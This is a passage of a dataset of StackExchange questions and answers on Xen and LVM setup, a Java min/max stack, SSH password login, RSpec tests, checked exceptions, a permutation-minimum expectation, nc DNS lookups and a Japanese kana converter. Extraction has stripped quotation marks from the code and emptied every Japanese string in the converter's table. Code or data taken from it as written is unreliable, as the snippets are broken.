{  "id": "_unix.244717"  , "question": "This is still my first time setting up a DomU. With Dom0 being Arch Linux and DomU as well.I recently figured out that I would need an LVM for my setup as I want at least two partitions (root + swap).My current problem is that I don't know what my LVM setup should be and this what I have so far:$ sudo xl create /etc/xen/ArkOS-dev_PV.cfg    Parsing config from /etc/xen/ArkOS-dev_PV.cfglibxl: error: libxl_device.c:283:libxl__device_disk_set_backend: Disk vdev=sda1 failed to stat: vm_volumes/root.ArkOS_Dev: No such file or directorylibxl: info: libxl.c:1691:devices_destroy_cb: forked pid 529 for destroy of domain 3My DomU boot configuration file :$ cat /etc/xen/ArkOS-dev_PV.cfgname = 'ArkOS_Dev'kernel = /mnt/arch/boot/x86_64/vmlinuzramdisk = /mnt/arch/boot/x86_64/archiso.imgextra = archisobasedir=arch archisolabel=ARCH_201511memory = 512disk = [ phy:vm_volumes/root.ArkOS_Dev,sda1,w,         phy:vm_volumes/swap.ArkOS_Dev,sda2,w,          file:/home/xen/ISO/archlinux-2015.11.01-dual.iso,xvdb:cdrom,r        ]vif = [ 'mac=00:16:3e:49:2b:a1,bridge=xenbr0' ]root = /dev/sda1 ro$ lsblk -fNAME                          FSTYPE      LABEL UUID                                   MOUNTPOINTsda                                                                                    |-sda1                        vfat              FF2C-B8A3                              /boot|-sda2                        btrfs             b3f4f40f-a8a1-4438-a187-dc02f2104340   /|-sda3                        LVM2_member       HiIS0n-cJ24-mdr5-aUVc-sacn-Hpvx-xM2qd2 | |-vm_volumes-root.ArkOS_Dev                                                          | `-vm_volumes-swap.ArkOS_Dev                                                          `-sda4                        swap              f90e6e95-5f00-4138-aa76-13feb4bce985   [SWAP]sudo lvdisplay  --- Logical volume ---  LV Path                /dev/vm_volumes/root.ArkOS_Dev  LV Name                root.ArkOS_Dev  VG Name                vm_volumes  LV UUID                tRjJex-aNJg-8gJL-16lD-c1uo-cgfI-1qQEF1  LV Write Access        read/write  LV Creation host, time hypervisor, 2015-11-21 19:33:14 +0100  LV Status              available  # open                 0  LV Size                87.29 GiB  Current LE             22346  Segments               2  Allocation             inherit  Read ahead sectors     auto  - currently set to     256  Block device           254:0  --- Logical volume ---  LV Path                /dev/vm_volumes/swap.ArkOS_Dev  LV Name                swap.ArkOS_Dev  VG Name                vm_volumes  LV UUID                t2OeL1-DDvf-vZLP-dxmh-NDbb-tcqb-zqNfGZ  LV Write Access        read/write  LV Creation host, time hypervisor, 2015-11-21 19:33:21 +0100  LV Status              available  # open                 0  LV Size                2.00 GiB  Current LE             512  Segments               1  Allocation             inherit  Read ahead sectors     auto  - currently set to     256  Block device           254:1"  , "title": "xl create problem with Arch Linux, Xen, DomU LVM"  , "tags": "arch linux;lvm;xen"  , "accepted_answer": "Solved by this:name = 'ArkOS_Dev'kernel = /mnt/arch/boot/x86_64/vmlinuzramdisk = /mnt/arch/boot/x86_64/archiso.imgextra = archisobasedir=arch archisolabel=ARCH_201511memory = 2048vcpus = 3disk = [ format=raw, vdev=xvda, access=rw, target=/dev/vm_volumes/root.ArkOS_Dev,         format=raw, vdev=xvdb, access=rw, target=/dev/vm_volumes/swap.ArkOS_Dev,         format=raw, vdev=xvdc, access=ro, devtype=cdrom, target=/home/xen/ISO/archlinux-2015.11.01-dual.iso       ]vif = [ 'mac=00:16:3e:49:2b:a1,bridge=xenbr0' ]root = /dev/xvda rwThen after installing the DomU with this:name = 'ArkOS_Dev'bootloader = pygrubmemory = 2048vcpus = 3disk = [ format=raw, vdev=xvda, access=rw, target=/dev/vm_volumes/root.ArkOS_Dev,         format=raw, vdev=xvdb, access=rw, target=/dev/vm_volumes/swap.ArkOS_Dev       ]vif = [ 'mac=00:16:3e:49:2b:a1,bridge=xenbr0' ]root = /dev/xvda rw"  } 
{  "id": "_codereview.101630"  , "question": "I have written this Java code for a data structure which includes 3 stacks to supports four operations in \\$O(1)\\$: push(int x), pop(), min() and max().Instead of pushing new max and min in every push, I tried to optimize code in this way to have less space.import java.util.Stack;public class MyDS {    Stack<Integer> s;    Stack<Integer> minStack;    Stack<Integer> maxStack;    public MyDS(){        s = new Stack<Integer>();        minStack = new Stack<Integer>();        maxStack = new Stack<Integer>();    }    // Push Method    public void push(int k){        if(minStack.isEmpty()){            minStack.push(k);        }else if(k <= minStack.peek()){            minStack.push(k);        }        if(maxStack.isEmpty()){            maxStack.push(k);        }else if(k >= maxStack.peek()){            maxStack.push(k);        }           s.push(k);      }    // Pop Method    public void pop(){        int popped;        if(!s.isEmpty()){            popped = s.pop();           }else{            popped = -1;        }        if(popped == min()){            minStack.pop();        }        if(popped == max()){            maxStack.pop();        }    }    // Min Method    public int min(){        if(!minStack.isEmpty()){            return minStack.peek();        }else{            return Integer.MIN_VALUE;        }    }    // Max Method    public int max(){        if(!maxStack.isEmpty()){            return maxStack.peek();        }else{            return Integer.MAX_VALUE;        }    }}This is my earlier version of DS:import java.util.Stack;public class DS {    static Stack<Integer> stack;    static Stack<Integer> minStack;    static Stack<Integer> maxStack;    public DS(){        stack = new Stack<Integer>();        minStack = new Stack<Integer>();        maxStack = new Stack<Integer>();    }    // Push Method    public void push(int k){                stack.push(k);        if(!minStack.isEmpty()){            minStack.push(Math.min(k, minStack.peek()));        }else{            minStack.push(k);        }        if(!maxStack.isEmpty()){            maxStack.push(Math.max(k, maxStack.peek()));        }else{            maxStack.push(k);        }    }    // Pop Method    public void pop(){        if(!stack.isEmpty() && !minStack.isEmpty() && !maxStack.isEmpty()){            stack.pop();            minStack.pop();            maxStack.pop();        }    }    // Find Min     public int findMin(){        if(!minStack.isEmpty()){            return minStack.peek();        }        return Integer.MIN_VALUE;    }    // Find Max    public int findMax(){        if(!maxStack.isEmpty()){            return maxStack.peek();        }        return Integer.MAX_VALUE;    }    public static void main(String[] args) {        DS ds = new DS();        System.out.println(Push 7, 6, 5: );        ds.push(7);        ds.push(6);        ds.push(5);        System.out.println(S1:  + stack);        System.out.println(S2:  + minStack);        System.out.println(S3:  + maxStack);        System.out.println(Min till now:  + ds.findMin());        System.out.println(Max till now:  + ds.findMax());        System.out.println(Push 4, 3: );        ds.push(4);        ds.push(3);        System.out.println(stack);        System.out.println(minStack);        System.out.println(maxStack);        System.out.println(Min till now:  + ds.findMin());        System.out.println(Max till now:  + ds.findMax());        System.out.println(1 pop(): );        ds.pop();        System.out.println(Min till now:  + ds.findMin());        System.out.println(Max till now:  + ds.findMax());        System.out.println(1 pop(): );        ds.pop();        System.out.println(Min till now:  + ds.findMin());        System.out.println(Max till now:  + ds.findMax());    }}"  , "title": "A data structure with push(int x), pop(), min() and max() in O(1)"  , "tags": "java;stack"  , "accepted_answer": "Your MyDS class has the right idea, in general.Special values like -1, Integer.MIN_VALUE, and Integer.MAX_VALUE make me suspicious.  All of those special values denote what I consider to be error cases.  Using special cases that might also be valid data is a dangerous habit that can lead to bugs.  Instead of those special numbers, it would be better to throw exceptions  probably NoSuchElementException.  You should also offer a size() and/or an isEmpty() method so that users of your data structure can proactively avoid encountering the exception.The three instance variables should be private.  The default access is rarely appropriate.  java.util.Stack is to be avoided, due to unfortunate historical design decisions (inappropriately extending java.util.Vector, and being thread-safe by default).  The documentation recommends ArrayDeque instead.Of the four operations in MyDS, I think pop() could use the most work.    It's weird that pop() doesn't return a value.  The -1 is entirely avoidable: if the main stack is empty, the min and max stacks should surely be empty too.public int pop() {    if (s.isEmpty()) {        throw new NoSuchElementException();    }    int popped = s.pop();    if (popped == min()) {        minStack.pop();    }    if (popped == max()) {        maxStack.pop();    }    return popped;}"  } 
{  "id": "_softwareengineering.343976"  , "question": "Are there useful programs that don't take inputs such as:A user's keyboard input;an interrupt from a clock;data from another server etc.A program that computed/printed out predefined data could be turned into a file, right?"  , "title": "Is an inputless program redundant?"  , "tags": "programming practices"  } 
{  "id": "_unix.218034"  , "question": "I have a Debian 7 VPS setup. I just enabled SSH Key authentication and disabled password authentication but the disabling did not work.When I attempt to SSH into my VPS, it prompts me for my SSH Key password which then works fine, BUT if I hit cancel, it will give me Agent admitted faliure to sign Error and then it prompts me for the current users account password, I enter it in and it logs me in with my account password, even though it's disabled... Does anyone have any idea why it allows me to login with password access? Thank youI am connecting with a 4096 bit key.Here is my sshd_config:Port 22# Use these options to restrict which interfaces/protocols sshd will bind to#ListenAddress ::#ListenAddress 0.0.0.0Protocol 2# HostKeys for protocol version 2HostKey /etc/ssh/ssh_host_rsa_keyHostKey /etc/ssh/ssh_host_dsa_keyHostKey /etc/ssh/ssh_host_ecdsa_key#Privilege Separation is turned on for securityUsePrivilegeSeparation yes# Lifetime and size of ephemeral version 1 server keyKeyRegenerationInterval 3600ServerKeyBits 768# LoggingSyslogFacility AUTHLogLevel INFO# Authentication:LoginGraceTime 120PermitRootLogin noStrictModes yesRSAAuthentication yesPubkeyAuthentication yes#AuthorizedKeysFile     %h/.ssh/authorized_keys# Don't read the user's ~/.rhosts and ~/.shosts filesIgnoreRhosts yes# For this to work you will also need host keys in /etc/ssh_known_hostsRhostsRSAAuthentication no# similar for protocol version 2HostbasedAuthentication no# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication#IgnoreUserKnownHosts yes# To enable empty passwords, change to yes (NOT RECOMMENDED)PermitEmptyPasswords no# Change to yes to enable challenge-response passwords (beware issues with# some PAM modules and threads)ChallengeResponseAuthentication no# Change to no to disable tunnelled clear text passwords#PasswordAuthentication no# Kerberos options#KerberosAuthentication no#KerberosGetAFSToken no#KerberosOrLocalPasswd yes#KerberosTicketCleanup yes# GSSAPI options#GSSAPIAuthentication no#GSSAPICleanupCredentials yesX11Forwarding yesX11DisplayOffset 10PrintMotd noPrintLastLog yesTCPKeepAlive yes#UseLogin no#GSSAPIAuthentication no#GSSAPICleanupCredentials yesX11Forwarding yesX11DisplayOffset 10PrintMotd noPrintLastLog yesTCPKeepAlive yes#UseLogin no#MaxStartups 10:30:60#Banner /etc/issue.net# Allow client to pass locale environment variablesAcceptEnv LANG LC_*Subsystem sftp /usr/lib/openssh/sftp-server# Set this to 'yes' to enable PAM authentication, account processing,# and session processing. If this is enabled, PAM authentication will# be allowed through the ChallengeResponseAuthentication and# PasswordAuthentication.  Depending on your PAM configuration,# PAM authentication via ChallengeResponseAuthentication may bypass# the setting of PermitRootLogin without-password.# If you just want the PAM account and session checks to run without# PAM authentication, then enable this but set PasswordAuthentication# and ChallengeResponseAuthentication to 'no'.UsePAM yes"  , "title": "Disabling ssh password authentication does not work on my debian VPS"  , "tags": "debian;ssh;authentication;vps"  } 
{  "id": "_codereview.71493"  , "question": "There are three scenarios only for when the sign up validations fail, so is there a better way of representing them rather than having 4 scenarios? I don't want to create a model folder so please don't suggest that.Is there a better way of representing this RSpec code on Rails using Capybara?feature 'Login' do  before do    FactoryGirl.create(:user)  end  scenario success login, js: true do    # set_speed(:slow)    visit root_path    click_link 'Login'    fill_in 'email', :with => 'test@example.com'    fill_in 'password', :with => 'password'    click_button 'Login'    expect(page).to have_content('Logged in successfully')  end  scenario failed login, js: true do    # set_speed(:slow)    visit root_path    click_link 'Login'    fill_in 'email', :with => 'failed@login.com'    fill_in 'password', :with => 'something failed'    click_button 'Login'    expect(page).to have_content('Invalid login/password combination')  endendfeature Sign Up do  scenario success sign up, js:true do    visit root_path    click_link 'Login'    click_link 'Sign Up'    fill_in 'user[email]', :with=>'signup@example.com'    fill_in 'user[password]', :with=> 'password'    fill_in 'user[password_confirmation]', :with=> 'password'    click_button 'Create User'    expect(page).to have_content('User successfully added.')  end  scenario failed sign up/Wrong email format, js:true do    visit root_path    click_link 'Login'    click_link 'Sign Up'      fill_in 'user[email]', :with=>'signup.example.com'    fill_in 'user[password]', :with=> 'password'    fill_in 'user[password_confirmation]', :with=> 'password'    click_button 'Create User'    expect(page).to have_content('is invalid')  end  scenario failed sign up/Short Email address, js:true  do    visit root_path    click_link 'Login'    click_link 'Sign Up'    fill_in 'user[email]', :with=>'sign'    fill_in 'user[password]', :with=> 'password'    fill_in 'user[password_confirmation]', :with=> 'password'    click_button 'Create User'    expect(page).to have_content('is too short (minimum is 5 characters)')  end   scenario failed sign up/Long Email address, js:true  do    visit root_path    click_link 'Login'    click_link 'Sign Up'    fill_in 'user[email]', :with=>'fillinginwritingwronglongpasswordstogetanerror@gmail.com'    fill_in 'user[password]', :with=> 'password'    fill_in 'user[password_confirmation]', :with=> 'password'    click_button 'Create User'    expect(page).to have_content('is too long (maximum is 50 characters)')  end end"  , "title": "RSpec/Capybara tests"  , "tags": "ruby;rspec"  , "accepted_answer": "Instead of creating 3 long signup features for 3 diff email cases, you could do something like: describe email is in wrong format do  let(:user) {FactoryGirl.create(:user)}  before {user.email = something.with.wrongformat}  it {should_not be_valid}enddescribre too long email do  let(:user) {FactoryGirl.create(:user)}  before {user.email = (a*60)+@gmail.com}  it {should_not be_valid}endIt'll be same as signup process coz in both you deal with user creation.And also as for @tokland answer.I think it could be better not to repeat pattern of:it ....... do  expect(page).to ......endBut just add subject {page} after before block on the top.It allows you to write just like:describe ..... do  before {visit root_path}  it {should have_content('Desired content'}end"  } 
{  "id": "_softwareengineering.349775"  , "question": "It is a widely held position that checked exceptions as implemented in Java are a bad idea.  If you mark a method as throwing, calling code has to either catch the exception, or be marked as throwing, too.  For this reason, it is said that exception specifications are contagious.  Consequently, they are being removed from C++ (with exception of noexcept).I wonder if you could implement a different kind of checked exceptions.  Instead of Caller must catch this, they would mean I will only ever throw this.The calling scope will not have to be changed at all.  It is helps me as a writer of the called function to understand what I will possibly throw - if I decide to add an annotation.  It would also allow the possible exceptions to be shown during code completion.  I could imagine special fatal exceptions will always be allowed, like OutOfMemoryException, or Python's KeyboardInterrupt.For example (pseudocode):// simple case (could actually be inferred)string lookupString(string key) throws only KeyError {    return m_map[key];}// complex failing examplestring readFromFile(string filename) throws IndexError {    File f = File.Open(filename);    return f.readline();}// -> Compilation error:// File.Open may cause IOError, but readFromFile guarantees to only throw IndexError// (optional:)// readFromFile suggests it will throw IndexError,// but no operation in it may possibly throw IndexError.In case you give no specification, I would suggest to allow any exception (throw Throwable). I imagine adding this feature to an existing language, and this would be the only backwards-compatible option. For a new language, you think about a different default.To deal with legacy code (in an external library), there could be a way to tell the compiler that a certain function or block of code only can ever throw certain exceptions. Conceptually a bit like unsafe in C#:I swear throws only ParseError {    return JSON.parse(json);}I am not aware of any language that implements this weaker kind of checked exceptions.  It seems to me they would have a lot of benefits, but without the drawbacks of Java's checked exceptions.  Are there any reasons that this idea wouldn't work?  Has any language successfully implemented this, or tried and failed?(Note, please do not read this as a question looking for a language recommendation and then close it.  This is a question about language design, I would like to understand the benefits and drawbacks of this approach better.  Possible answers I could imagine would be: Yes, this has been attempted in language XY, but doesn't work very well because of interplay with generics. or No, this has never been implemented, but it is a great idea.  Because of <language-theoretic argument>, this can be implemented in a sound type system.  See this work of Foobar for more information.)"  , "title": "Different kind of checked exceptions - Guarantee to only throw X"  , "tags": "language design;exceptions"  } 
{  "id": "_cs.23295"  , "question": "I came across the following problem in a exam. We choose a permutation of n elements $[1,n]$ uniformly at random. Now a variable MIN holds the minimum value seen so far at it is defined to $\\infty$ initially. Now during our inspection if we see a smaller value than MIN, then MIN is updated to the new value. For example, if we consider the permutation, $$5\\ 9\\ 4\\ 2\\ 6\\ 8\\ 0\\ 3\\ 1\\ 7$$the MIN is updated 4 times as $5,4,2,0$. Then the expected no. of times MIN is updated?I tried to find the no. of permutations, for which MIN is updated $i$ times, so that I can find the value by $\\sum_{i=1}^{n}iN(i)$, where $N(i)$, is the no. of permutations for which MIN is updated $i$ times.But for $i\\geq2$, $N(i)$ is getting very complicated and unable to find the total sum."  , "title": "Expected number of updates of minimum"  , "tags": "algorithm analysis;runtime analysis;search algorithms"  , "accepted_answer": "The trick is to use linearity of expectation. Let $E_k$ be the event that the $k$th input is a left-to-right minimum (i.e., requires an update), and let $X_k$ be an indicator variable for $E_k$, that is, $X_k$ is $1$ if $E_k$ happens and $0$ otherwise. Let $U = X_1 + \\cdots + X_n$ be the number of updates. The expected number of updates is$$ \\mathbb{E}[U] = \\sum_{k=1}^n \\mathbb{E}[X_k] = \\sum_{k=1}^n \\Pr[E_k]. $$It remains to compute $\\Pr[E_k]$. We can construct a random permutation $\\pi$ of $[n] = \\{1,\\ldots,n\\}$ in the following way: take a random permutation of $[n]$, and randomly permute the first $k$ elements. This shows that the probability that $\\pi(k) = \\min(\\pi(1),\\ldots,\\pi(k))$ is exactly $1/k$, and so $\\Pr[E_k] = 1/k$. All in all, we get$$ \\mathbb{E}[U] = \\sum_{k=1}^n \\Pr[E_k] = \\sum_{k=1}^n \\frac{1}{k} = H_n, $$the $n$th Harmonic number. It is well-known that $H_n = \\ln n + \\gamma + O(1/n)$ (Wikipedia contains the entire asymptotic expansion).We can also compute the variance in this way:$$\\begin{align*}\\mathbb{E}[U^2] &= \\sum_{k=1}^n \\mathbb{E}[X_k^2] + 2\\sum_{k=1}^{n-1} \\sum_{\\ell=k+1}^n \\mathbb{E}[X_k X_\\ell] \\\\ &=\\sum_{k=1}^n \\Pr[E_k] + 2\\sum_{k=1}^{n-1} \\sum_{\\ell=k+1}^n \\Pr[E_k \\land E_\\ell],\\end{align*}$$where $\\land$ is logical AND. We already know that $\\Pr[E_k] = 1/k$. In order to compute $\\Pr[E_k \\land E_\\ell]$ (where $k < \\ell$), we follow the same route as before. With probability $1/\\ell$, $\\pi(\\ell)$ is a left-to-right minimum. Given that, the probability that $\\pi(k)$ is a left-to-right minimum is $1/k$. Therefore $\\Pr[E_k \\land E_\\ell] = 1/(k\\ell)$, and so$$\\begin{align*}2\\sum_{k=1}^{n-1} \\sum_{\\ell=k+1}^n \\Pr[E_k \\land E_\\ell] &=2\\sum_{k=1}^{n-1} \\sum_{\\ell=k+1}^n \\frac{1}{k\\ell} \\\\ &=\\left(\\sum_{k=1}^n \\frac{1}{k}\\right)^2 - \\sum_{k=1}^n \\frac{1}{k^2} \\\\ &=H_n^2 - \\sum_{k=1}^n \\frac{1}{k^2}.\\end{align*}$$Therefore$$\\begin{align*}\\mathbb{E}[U^2] &= H_n + H_n^2 - \\sum_{k=1}^n \\frac{1}{k^2}, \\\\\\mathbb{V}[U] &= H_n - \\sum_{k=1}^n \\frac{1}{k^2} = \\ln n + \\gamma - \\frac{\\pi^2}{6} + O\\left(\\frac{1}{n}\\right).\\end{align*}$$We can compute all other moments in a similar way using (essentially) the inclusion-exclusion principle and the formula$$\\mathbb{E}[U^d] = \\sum_{i_1,\\ldots,i_d=1}^n \\prod_{i \\in \\{i_1,\\ldots,i_d\\}} \\frac{1}{i}.$$If we are careful enough then we can probably establish the asymptotic normality of $U$."  } 
{  "id": "_webapps.3697"  , "question": "If I install a service such as Docs, Calendar, or Wave in my Google Apps account I get the ability to change the URL of the service from the stock-standard https://www.google.com/[service]/hosted/[my domain] to something more meaningful.As a result, my calendar service is at http://calendar.[mydomain], documents is at http://docs.[mydomain], etc.However if I install a service from the Google Apps marketplace, I don't get the option to change the URL.Is there any way I can do this?"  , "title": "Can I change the URL of a Google Apps service installed from the Google Apps marketplace?"  , "tags": "google apps;url"  , "accepted_answer": "Third-party apps are usually hosted off-site, so its really up to the app provider to allow that or not.If you have a web server at your site or a shared hosting provider or similar, you could set up a simple redirection yourself."  } 
{  "id": "_unix.217518"  , "question": "I have lots of clients need to check if the port is opened on remote server. I use nc command to do this job, however it always give out DNS lookup failure, but I can successfully find the DNS record by using the dig or nslookup. Anyone knows the reason? Thanks![root@client ~]# nc  -vzw5  d1.myserver.com 443 d1.myserver.com: forward host lookup failed: Unknown host : No such file or directory[root@ndc-nz1-1 ~]# nslookup  d1.myserver.comServer:         192.168.1.155Address:        192.168.1.155#53Name:   d1.myserver.comAddress: 192.168.2.25[root@client ~]# dig d1.myserver.com; <<>> DiG 9.2.4 <<>> d1.myserver.com;; global options:  printcmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11270;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0;; QUESTION SECTION:;d1.myserver.com. IN  A;; ANSWER SECTION:d1.myserver.com. 7200 IN A    192.168.2.25;; Query time: 1 msec;; SERVER: 192.168.1.155#53(192.168.1.155);; WHEN: Tue Jul 21 21:13:21 2015;; MSG SIZE  rcvd: 67File info on nsswitch.conf[root@client ~]# cat /etc/nsswitch.conf |grep hosts: files dns [root@client ~]# ll /etc/nsswitch.conf -rw-r--r-- 1 root root 1658 Apr 1 2008 /etc/nsswitch.confFile info on resolv.conf[root@client ~]# cat /etc/resolv.confnameserver 192.168.1.155options timeout:1Trying other commands:[root@client ~]# ping d1.myserver.comping: unknown host d1.myserver.com[root@client ~]# wget d1.myserver.com--01:47:57--  http://d1.myserver.com/           => `index.html'Resolving d1.myserver.com... 192.168.2.25Connecting to d1.myserver.com|192.168.2.25|:80... connected."  , "title": "nc command can't lookup DNS name"  , "tags": "dns"  , "accepted_answer": "Look at the contents of /etc/nsswitch.conf. You probably have not configured the system to use DNS to resolve host names.  nslookup and dig don't bother looking to see if the system is configured to use DNS to resolve hostnames. They use DNS regardless. (Though if you don't specify a server, they will use /etc/resolv.conf to find a DNS server to use.)You want to see DNS in the hosts line, something like hosts:  files dns"  } 
{  "id": "_codereview.111480"  , "question": "When my go-to Japanese transcription site went down for a while, I decided to write my own. My application converts between Romaji, Hiragana and Katakana — however, unlike any other converter I've seen, this one does a three-way conversion: there are three text boxes, and typing in one will update the content of the other two.There's a working version here.I'd like any feedback to focus on the big picture; that is, how I implemented this conversion. If anything else in my JS could be improved, though, don't hesitate to point that out as well.How Japanese worksI figured I'd quickly introduce anyone who isn't familiar with Japanese to its writing systems. Keep in mind this is massively simplified, not least because I'm a beginner myself.A Japanese character represents one syllable, which can either be a vowel, or a consonant followed by a vowel.There are a few exceptions to how these combinations are transcribed: s + i is shi, t + i is chi, t + u is tsu, h + u is fu.The only consonant that can appear without a vowel is n.There are two different alphabets: Hiragana and Katakana. They both encode the same syllables, and they're virtually equivalent, they just use different-looking characters: hiragana are mostly round, katakana are blockier.There's also Romaji, which is just representations of hiragana and katakana in the latin alphabet.Example: the syllable me is written as  in hiragana and as  in katakana. amerika in romaji is  in hiragana and  in katakana. A small tsu ( or ) doubles the consonant that comes after it.A small ya, yu or yo after a syllable ending in i combines the sounds (ki + small ya is kya). or   in the top right corner modify the consonant sound.A  doubles the vowel sound that comes before it. In Romaji, long vowels can also be written with a dash on top:  is the same as aa.Example: The Japanese word for presentation is happykai in Romaji,  in hiragana and  in katakana.How the converter worksI regard a string as split into tokens, which is just the name I've given to a characters plus modifiers (like small tsu or small ya). My conversion table is an array of objects, each representing a token and holding three strings for its representation in romaji, hiragana and katakana respectively.The main function, convert, is given a text and the name of the writing system it's in. It loops through the text, cutting off the longest token it can find from the start of the string, and building the resulting strings from the contents of the token. It returns an object holding three strings, each representing the text in romaji, hiragana and katakana respectively.That way, feeding in a string in one writing system simultaneously converts it into the other two.When converting from romaji, spaces and the ' character are purposefully ignored. This is so that you can split syllables in words like bon'yari, to keep the syllable from being interpreted as nya.The problem with this system is that it depends on the order of the tokens in the conversion table. If n came before a, it would first cut off n and then a, never recognizing na. I've found no way to work around this without using a different data structure entirely.Converter.jsfunction Converter() {    this.text = this.from = this.result = null;    this.conversionTable = getConversionTable();}Converter.prototype.convert = function (text, from) {    this.text = text.toLowerCase();    this.from = from;    this.result = {        romajiText: '',        hiraganaText: '',        katakanaText: ''    };    this._preprocess();    while (this.text !== '') {        var token = this._getToken();        this.result.romajiText += token.romaji;        this.result.hiraganaText += token.hiragana;        this.result.katakanaText += token.katakana;        this.text = this.text.substr(token.strLength);    }    this._postprocess();};Converter.prototype.getResult = function() {    return this.result;};Converter.prototype._preprocess = function () {    this.text = this.text        .replace(//gi, 'aa')        .replace(//gi, 'uu')        .replace(//gi, 'ee')        .replace(//gi, 'ou');};Converter.prototype._getToken = function () {    var newToken = {};    if (this._shouldIgnoreChar(this.text[0])) {        newToken.romaji = newToken.hiragana = newToken.katakana = '';        newToken.strLength = 1;        return newToken;    }    for (var i = 0; i < this.conversionTable.length; i++) {        var token = this.conversionTable[i];        if (this.text.startsWith(token[this.from])) {            newToken = token;            newToken.strLength = token[this.from].length;            return newToken;        }    }    newToken.romaji = newToken.hiragana = newToken.katakana = this.text[0];    newToken.strLength = 1;    return newToken;};Converter.prototype._shouldIgnoreChar = function (char) {    return char === ' ' || char === '\\'';};Converter.prototype._postprocess = function () {    this.result.romajiText = this.result.romajiText        .replace(/([aiueo])/gi, '$1$1')        .replace(/aa/gi, '')        .replace(/uu/gi, '')        .replace(/ee/gi, '')        .replace(/ou/gi, '')        .replace(/oo/gi, '');};conversionTable.jsfunction getConversionTable() {    return [        {romaji: 'kkya', hiragana: '', katakana: ''},        {romaji: 'kkyu', hiragana: '', katakana: ''},        {romaji: 'kkyo', hiragana: '', katakana: ''},        {romaji: 'ssha', hiragana: '', katakana: ''},        {romaji: 'sshu', hiragana: '', katakana: ''},        {romaji: 'ssho', hiragana: '', katakana: ''},        {romaji: 'ccha', hiragana: '', katakana: ''},        {romaji: 'cchu', hiragana: '', katakana: ''},        {romaji: 'ccho', hiragana: '', katakana: ''},        {romaji: 'hhya', hiragana: '', katakana: ''},        {romaji: 'hhyu', hiragana: '', katakana: ''},        {romaji: 'hhyo', hiragana: '', katakana: ''},        {romaji: 'mmya', hiragana: '', katakana: ''},        {romaji: 'mmyu', hiragana: '', katakana: ''},        {romaji: 'mmyo', hiragana: '', katakana: ''},        {romaji: 'rrya', hiragana: '', katakana: ''},        {romaji: 'rryu', hiragana: '', katakana: ''},        {romaji: 'rryo', hiragana: '', katakana: ''},        {romaji: 'ggya', hiragana: '', katakana: ''},        {romaji: 'ggyu', hiragana: '', katakana: ''},        {romaji: 'ggyo', hiragana: '', katakana: ''},        {romaji: 'jja', hiragana: '', katakana: ''},        {romaji: 'jju', hiragana: '', katakana: ''},        {romaji: 'jjo', hiragana: '', katakana: ''},        {romaji: 'bbya', hiragana: '', katakana: ''},        {romaji: 'bbyu', hiragana: '', katakana: ''},        {romaji: 'bbyo', hiragana: '', katakana: ''},        {romaji: 'ppya', hiragana: '', katakana: ''},        {romaji: 'ppyu', hiragana: '', katakana: ''},        {romaji: 'ppyo', hiragana: '', katakana: ''},        {romaji: 'yye', hiragana: '', katakana: ''},        {romaji: 'wwi', hiragana: '', katakana: ''},        {romaji: 'wwe', hiragana: '', katakana: ''},        {romaji: 'wwo', hiragana: '', katakana: ''},        {romaji: 'vva', hiragana: '', katakana: ''},        {romaji: 'vvi', hiragana: '', katakana: ''},        {romaji: 'vve', hiragana: '', katakana: ''},        {romaji: 'vvo', hiragana: '', katakana: ''},        {romaji: 'ssi', hiragana: '', katakana: ''},        {romaji: 'zzi', hiragana: '', katakana: ''},        {romaji: 'sshe', hiragana: '', katakana: ''},        {romaji: 'jje', hiragana: '', katakana: ''},        {romaji: 'tti', hiragana: '', katakana: ''},        {romaji: 'ttu', hiragana: '', katakana: ''},        {romaji: 'ddi', hiragana: '', katakana: ''},        {romaji: 'ddu', hiragana: '', katakana: ''},        {romaji: 'ttsa', hiragana: '', katakana: ''},        {romaji: 'ttsi', hiragana: '', katakana: ''},        {romaji: 'ttse', hiragana: '', katakana: ''},        {romaji: 'ttso', hiragana: '', katakana: ''},        {romaji: 'ffa', hiragana: '', katakana: ''},        {romaji: 'ffi', hiragana: '', katakana: ''},        {romaji: 'ffe', hiragana: '', katakana: ''},        {romaji: 'ffo', hiragana: '', katakana: ''},        {romaji: 'ffyu', hiragana: '', katakana: ''},        {romaji: 'hhye', hiragana: '', katakana: ''},        {romaji: 'kya', hiragana: '', katakana: ''},        {romaji: 'kyu', hiragana: '', katakana: ''},        {romaji: 'kyo', hiragana: '', katakana: ''},        {romaji: 'sha', hiragana: '', katakana: ''},        {romaji: 'shu', hiragana: '', katakana: ''},        {romaji: 'sho', hiragana: '', katakana: ''},        {romaji: 'cha', hiragana: '', katakana: ''},        {romaji: 'chu', hiragana: '', katakana: ''},        {romaji: 'cho', hiragana: '', katakana: ''},        {romaji: 'nya', hiragana: '', katakana: ''},        {romaji: 'nyu', hiragana: '', katakana: ''},        {romaji: 'nyo', hiragana: '', katakana: ''},        {romaji: 'hya', hiragana: '', katakana: ''},        {romaji: 'hyu', hiragana: '', katakana: ''},        {romaji: 'hyo', hiragana: '', katakana: ''},        {romaji: 'mya', hiragana: '', katakana: ''},        {romaji: 'myu', hiragana: '', katakana: ''},        {romaji: 'myo', hiragana: '', katakana: ''},        {romaji: 'rya', hiragana: '', katakana: ''},        {romaji: 'ryu', hiragana: '', katakana: ''},        {romaji: 'ryo', hiragana: '', katakana: ''},        {romaji: 'gya', hiragana: '', katakana: ''},        {romaji: 'gyu', hiragana: '', katakana: ''},        {romaji: 'gyo', hiragana: '', katakana: ''},        {romaji: 'ja', hiragana: '', katakana: ''},        {romaji: 'ju', hiragana: '', katakana: ''},        {romaji: 'jo', hiragana: '', katakana: ''},        {romaji: 'bya', hiragana: '', katakana: ''},        {romaji: 'byu', hiragana: '', katakana: ''},        {romaji: 'byo', hiragana: '', katakana: ''},        {romaji: 'pya', hiragana: '', katakana: ''},        {romaji: 'pyu', hiragana: '', katakana: ''},        {romaji: 'pyo', hiragana: '', katakana: ''},        {romaji: 'ye', hiragana: '', katakana: ''},        {romaji: 'wi', hiragana: '', katakana: ''},        {romaji: 'we', hiragana: '', katakana: ''},        {romaji: 'wo', hiragana: '', katakana: ''},        {romaji: 'va', hiragana: '', katakana: ''},        {romaji: 'vi', hiragana: '', katakana: ''},        {romaji: 've', hiragana: '', katakana: ''},        {romaji: 'vo', hiragana: '', katakana: ''},        {romaji: 'si', hiragana: '', katakana: ''},        {romaji: 'zi', hiragana: '', katakana: ''},        {romaji: 'she', 